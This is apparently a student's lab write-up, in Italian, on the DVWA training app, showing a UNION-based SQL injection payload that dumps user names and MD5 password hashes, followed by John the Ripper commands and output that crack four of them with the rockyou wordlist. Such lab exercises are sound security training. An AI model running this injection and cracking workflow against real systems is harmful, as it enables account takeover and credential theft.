

# S6L3

LA TRACCIA DI OGGI CONSISTEVA TRAMITE UN TOOL DI KALI IN QUESTO CASO JOHN RIPPER DI CODIFICARE LE PASSWORD MD5 DAL DB DOPO AVER EFFETTUATO UNA SQL INJECTION

<b>Instructions</b>	<b>User ID:</b>
<b>Setup</b>	<input type="text"/> <input type="button" value="Submit"/>
<b>Brute Force</b>	ID: 1' UNION SELECT user, password FROM users# First name: admin Surname: admin
<b>Command Execution</b>	ID: 1' UNION SELECT user, password FROM users# First name: admin Surname: 5f4dcc3b5aa765d61d8327deb882cf99
<b>CSRF</b>	ID: 1' UNION SELECT user, password FROM users# First name: gordonb Surname: e99a18c428cb38d5f260853678922e03
<b>File Inclusion</b>	ID: 1' UNION SELECT user, password FROM users# First name: 1337 Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
<b>SQL Injection</b>	ID: 1' UNION SELECT user, password FROM users# First name: pablo Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
<b>SQL Injection (Blind)</b>	ID: 1' UNION SELECT user, password FROM users# First name: smithy Surname: 5f4dcc3b5aa765d61d8327deb882cf99
<b>Upload</b>	
<b>XSS reflected</b>	
<b>XSS stored</b>	
<b>DVWA Security</b>	
<b>PHP Info</b>	
<b>About</b>	
<b>Logout</b>	

# S6L3

```
4 password hashes cracked, 1 left

(kali㉿kali)-[~/Desktop]
$ sudo john --format=raw-md5 --wordlist= /home/kali/Desktop/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Remaining 1 password hash
Proceeding with wordlist:/usr/share/john/password.lst
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2024-01-10 12:13) 0g/s 88650p/s 88650c/s 88650C/s !@#$%..sss
Session completed.
```

```
(kali㉿kali)-[~/Desktop]
$ sudo john --format=raw-md5 --show= /home/kali/Desktop/rockyou.txt hash.txt
admin:password
gordonb:abc123
pablo:letmein
smithy:password
```

4 password hashes cracked, 1 left

```
(kali㉿kali)-[~/Desktop]
$ john --format=RAW-MD5 --show /home/kali/Desktop/rockyou.txt hash.txt
admin:password
gordonb:abc123
pablo:letmein
smithy:password
```

4 password hashes cracked, 1 left